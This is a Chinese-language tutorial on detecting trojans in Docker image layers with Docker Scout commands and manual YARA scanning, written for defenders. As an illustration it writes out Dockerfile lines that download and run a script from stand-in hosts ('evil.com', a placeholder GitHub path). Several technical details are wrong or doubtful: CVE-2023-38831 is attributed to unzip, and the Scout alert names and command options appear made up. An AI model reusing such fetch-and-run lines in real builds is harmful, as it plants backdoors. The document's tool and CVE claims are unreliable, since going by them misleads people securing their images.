Docker Scout是官方唯一支持镜像层与文件指纹关联并匹配CVE/恶意行为的工具,取代了已停更的Docker-Scan;它通过cves和quickview命令交叉分析可疑层,但深度检测需推送至Docker Hub触发全量扫描。

Docker Scout(不是 Docker-Scan)是当前唯一官方支持、能直接关联镜像层与文件指纹并匹配 CVE/恶意行为特征的工具。所谓“Docker-Scan”早已停止维护,2023 年起被 Docker Scout 正式取代;任何仍在用 docker scan 命令的旧脚本,实际调用的已是 Scout 后端。强行找“Docker-Scan”只会浪费时间,还可能误判结果。
为什么不能靠 docker history 或 docker inspect 查木马
这些命令只展示构建指令和元数据,不解析文件内容。比如 RUN wget -O /tmp/backdoor.sh http://evil.com/sh 可能被混淆成 RUN curl -sL https://github.com/xxx/init.sh | sh,docker history 只显示这一行,但不会告诉你 /tmp/backdoor.sh 实际下载了什么——它根本没读文件体。
真正要发现木马,必须: - 提取每一层的完整文件系统快照 - 对二进制、脚本、配置文件做静态指纹(如 hash、字符串特征、导入表、shebang、可疑网络域名) - 将指纹与已知恶意样本库(如 VirusTotal YARA 规则集、ReversingLabs A1000 恶意软件签名)比对
这一步,docker history 和 docker inspect 都做不到。
用 docker scout cves + docker scout quickview 定位可疑层
Docker Scout 不直接标“这是木马”,但它能通过三类信号交叉锁定高风险层:
- 某一层引入了含
CVE-2023-38831(zip slip + RCE)的unzip二进制,且该层同时新增了非标准路径下的可执行脚本(如/opt/.cache/run)→ 触发“可疑组件+可疑文件”组合告警 - 某一层的
packages列表为空,但files列表里出现大量.so或.dylib文件,且无对应包管理记录 → 暗示手动cp或curl | sh注入 - 某一层修改了
/etc/passwd或写入/root/.ssh/authorized_keys,且该操作不在任何公开 base 镜像的已知变更范围内 → Scout 标记为 “Configuration anomaly”
实操命令:
docker scout cves your-image:latest --format json | jq '.[] | select(.severity == "CRITICAL") | {layer: .layer, package: .package, cve: .id}'再查该层具体文件:
docker scout quickview your-image:latest --layer <layer-digest>
注意:<layer-digest></layer-digest> 是 docker scout cves 输出里的 layer 字段,形如 sha256:abc123...,不是 docker history 显示的简短 ID。
手动提取层文件做 YARA 扫描(当 Scout 未覆盖时)
Scout 的恶意行为检测覆盖有限,遇到定制化木马(如 Go 编译的内存马、混淆的 Python loader),需自己拉出层内容扫描:
- 用
docker save your-image:latest | tar -xO解包,找到manifest.json,从中提取各层 tar.gz 路径 - 对每个 layer tarball,用
tar -xzf layer.tar.gz -C /tmp/layer-xxx展开 - 跳过
/dev、/proc、/sys等伪文件系统目录,对剩余路径跑 YARA:
yara -r -s rules/malware.yar /tmp/layer-xxx/
关键点:
- 不要用 docker export,它导出的是运行时容器文件系统,丢失构建层边界,无法定位到哪一层注入
- 必须用 docker save + 解析 manifest.json,才能严格按层拆分
- YARA 规则优先选 InQuest 或 Yara-Rules/rules 中针对 Linux ELF、bash/shell script、cron 表达式的规则集
最易被忽略的一点:Scout 的漏洞匹配依赖镜像是否推送到 Docker Hub 且仓库启用了 Scout 分析。本地未推送的镜像,docker scout cves 只能做轻量级包版本比对,不会触发深度文件指纹分析——这意味着你必须先 docker push,再等 Hub 后台完成全量扫描(通常 2–5 分钟),才能看到真实层级恶意文件线索。


















